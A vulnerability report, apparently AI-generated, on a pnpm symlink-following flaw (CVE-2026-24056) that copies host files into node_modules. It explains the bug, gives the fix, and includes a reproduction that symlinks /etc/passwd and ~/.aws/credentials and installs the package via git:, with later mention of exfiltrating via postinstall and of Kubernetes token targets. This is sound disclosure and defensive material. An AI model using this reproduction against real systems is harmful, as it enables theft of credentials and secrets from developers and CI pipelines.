CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24056

Symlink Shenanigans in pnpm: Leaking Host Files via CAFS

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·7 min read·19 visits

Executive Summary (TL;DR)

pnpm versions prior to 10.28.2 fail to correctly handle symbolic links when adding files from local directories or git repositories to its internal store. By using `fs.statSync` instead of `fs.lstatSync`, pnpm blindly follows symlinks, allowing an attacker to create a package that symlinks to `/etc/passwd` (or other sensitive files). When a victim installs this package, pnpm reads the target file and copies it into the project's `node_modules`, effectively exfiltrating local data.

A high-severity path traversal vulnerability in the pnpm package manager allows malicious packages (via `file:` or `git:` protocols) to read arbitrary files from the host system by abusing symbolic links during the ingestion process.

The Hook: The Disk-Saving Demon

pnpm has built its reputation on being the efficient, disk-saving alternative to npm. Its superpower lies in its Content-Addressable File Store (CAFS). Instead of duplicating node_modules for every project, pnpm stores a single copy of every file in a global store and hardlinks them into your project. It’s elegant, it’s fast, and it’s usually secure. But here's the irony: the very mechanism designed to efficiently ingest and deduplicate files is exactly what allowed attackers to siphon sensitive data off your hard drive.

At its core, a package manager is just a fancy file mover. It takes files from Source A (a registry, a git repo, or a local folder) and moves them to Destination B (your project). The security model relies entirely on the assumption that Source A only contains what it claims to contain. But what happens when Source A is a local directory containing a symbolic link that points outside of itself? If the package manager isn't paranoid, it might just follow that link like a lost puppy.

CVE-2026-24056 is precisely that scenario. It’s a classic failure of trust. When pnpm processes dependencies defined with the file: or git: protocol, it recursively walks the directory to add files to the CAFS. Due to a logical oversight in how file stats were retrieved, pnpm treated symlinks not as links, but as the files they pointed to. This means a package claiming to contain config.json could actually be serving up your ~/.ssh/id_rsa on a silver platter.

The Flaw: The `stat` vs `lstat` Catastrophe

To understand this vulnerability, you need to understand the subtle but deadly difference between two Node.js filesystem functions: fs.stat() and fs.lstat(). This is often the first lesson in "Secure Coding 101" for Node developers, yet it remains a persistent source of bugs in even the most mature projects. fs.stat() follows symbolic links transparently. If you run stat on a symlink, you get the metadata of the target file. fs.lstat(), on the other hand, looks at the link itself.

The vulnerability lived in @pnpm/store.cafs, specifically in the addFilesFromDir.ts module. This module's job is to walk a directory tree and ingest files. The developers implemented a recursive walk. When they encountered a file entry, they called fs.statSync(). The intention was likely just to check file sizes or permissions, but the side effect was catastrophic. By using statSync, the code implicitly authorized a traversal.

If an attacker places a symlink named innocent.txt pointing to /etc/passwd, fs.statSync('innocent.txt') returns the stats for /etc/passwd. Consequently, the subsequent fs.readFileSync() call—which also follows links by default—reads the contents of /etc/passwd. pnpm then hashes this content and happily stores it in its global cache as if it were a legitimate part of the package. The traversal doesn't require ../ characters in a path string; it utilizes the filesystem's own linking capability to jump out of the sandbox.

The Code: Anatomy of a Screw-up

Let's look at the smoking gun. The vulnerable code was deceptively simple. It looked like standard directory walking logic, which is why it likely survived code reviews. Here is the logic flow prior to the patch:

// Vulnerable logic in store/cafs/src/addFilesFromDir.ts
const absolutePath = path.join(dirname, relativePath);
// CRITICAL FLAW: blindly following links
const stat = fs.statSync(absolutePath);
const buffer = fs.readFileSync(absolutePath);

The fix required a fundamental shift in how files are inspected. The patch introduced fs.lstatSync to inspect the file type before deciding to read it, and a canonical path check using fs.realpathSync to ensure the target actually resides within the package boundary. Here is the remediation pattern:

// Fixed logic
import isSubdir from 'is-subdir';
 
// 1. Resolve the package root
const resolvedRoot = fs.realpathSync(dirname);
 
function getStatIfContained(absolutePath, rootDir) {
  // 2. Check the link itself, don't follow it yet
  const lstat = fs.lstatSync(absolutePath);
  
  if (lstat.isSymbolicLink()) {
    // 3. Resolve where the link goes
    const realPath = fs.realpathSync(absolutePath);
    // 4. The "Jail Check": Is the target inside our root?
    if (!isSubdir(rootDir, realPath)) {
      return null; // Block the traversal
    }
    return fs.statSync(realPath);
  }
  return lstat;
}

The addition of isSubdir is the critical guardrail. Even if a symlink exists, pnpm now verifies that the link resolves to a path inside the package directory. If it points to /etc/shadow, isSubdir returns false, and the file is ignored.

The Exploit: Leeching the Host

Exploiting this requires creating a malicious package that acts as a vacuum for host data. Since standard npm registries (like npmjs.com) strip symlinks during the publish process, this attack vector is restricted to file: and git: dependencies. This makes it highly effective for internal attacks or supply chain compromises where developers install dependencies from private git repositories.

Here is a step-by-step reproduction of the attack:

  1. The Trap: The attacker creates a git repository containing a symlink. They can target generic files likely to exist on a developer's machine or CI runner.

    mkdir malicious-pkg && cd malicious-pkg
    # Link to a sensitive file on the victim's machine
    ln -s /etc/passwd payload.txt
    # Or targeting AWS credentials
    ln -s ~/.aws/credentials aws-creds.txt
    echo '{"name":"malicious-pkg", "version":"1.0.0"}' > package.json
    git init && git add . && git commit -m "Initial commit"
  2. The Trigger: The victim installs this package using the git protocol.

    pnpm add git:./malicious-pkg
    # or
    pnpm add git+ssh://git@github.com/attacker/malicious-pkg.git
  3. The Exfiltration: During installation, pnpm resolves the symlink, reads the local file, and places a copy of it into the project's node_modules.

    cat node_modules/malicious-pkg/payload.txt
    # Output: root:x:0:0:root:/root:/bin/bash ...

Once the file is in node_modules, it can be exfiltrated via a postinstall script in the same package, which could curl the contents to an attacker-controlled server.

The Impact: CI/CD Nightmares

While targeting individual developers is fun, the real devastation occurs in CI/CD environments. Build servers often run with elevated privileges or have access to sensitive environment variables and configuration files. They are also notoriously promiscuous, pulling code from various repositories to build artifacts.

Imagine a scenario where a developer submits a Pull Request that adds a dependency to a "helper utility" hosted on a private git server. The CI pipeline runs pnpm install to prepare the build environment. The malicious helper package contains a symlink to /proc/self/environ or specific Kubernetes service account tokens located at /var/run/secrets/kubernetes.io/serviceaccount/token.

pnpm dutifully copies these secrets into the node_modules folder. The build process then creates an artifact (e.g., a Docker container or a zipped build) that includes node_modules. Now, the internal infrastructure secrets are embedded in the release artifact, potentially readable by anyone with read access to the registry. Even worse, if the attacker uses a postinstall script, they can egress those secrets immediately during the build process, bypassing the need to inspect artifacts.

The Fix: Plugging the Hole

The remediation is straightforward: update pnpm. The maintainers released version 10.28.2 to address this. This version enforces the boundary checks described in the code section above. If you are stuck on an older version of pnpm for legacy reasons, you are in a precarious position.

If you cannot upgrade immediately, your only defense is strict hygiene regarding dependency sources. Do not use file: or git: dependencies from untrusted sources. However, this is hard to enforce, as transitive dependencies can introduce these protocols without top-level awareness. The only robust fix is the patch.

For security teams, this serves as a reminder to audit pnpm-lock.yaml files. Look for specifiers that resolve to git URLs or local paths. These are your high-risk vectors. Standard version ranges (e.g., ^1.2.3) pulling from the npm registry are immune to this specific CVE, offering a small sigh of relief.

Official Patches

pnpmpnpm v10.28.2 Release Notes
GitHubGitHub Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
6.7/ 10
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Systems

pnpm < 10.28.2Node.js development environmentsCI/CD pipelines using pnpm

Affected Versions Detail

Product
Affected Versions
Fixed Version
pnpm
pnpm
< 10.28.210.28.2
AttributeDetail
CWE IDCWE-22 & CWE-59
Attack VectorLocal / User Interaction
CVSS v4.06.7 (Medium)
Affected Component@pnpm/store.cafs
Vulnerable FunctionaddFilesFromDir()
Protocol Vectorfile: and git:

MITRE ATT&CK Mapping

T1204.002User Execution: Malicious File
Execution
T1005Data from Local System
Collection
CWE-59
Improper Link Resolution Before File Access

Improper Link Resolution Before File Access ('Link Following') leading to path traversal.

Known Exploits & Detection

GitHubCommit diff demonstrating the vulnerability and fix

Vulnerability Timeline

Fix committed to master branch
2026-01-21
pnpm v10.28.2 released
2026-01-26
GHSA-m733-5w8f-5ggw published
2026-01-26

References & Sources

  • [1]GHSA-m733-5w8f-5ggw
  • [2]CWE-59: Improper Link Resolution Before File Access

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
8 views•7 min read
•1 day ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
8 views•5 min read
•1 day ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
12 views•7 min read
•1 day ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read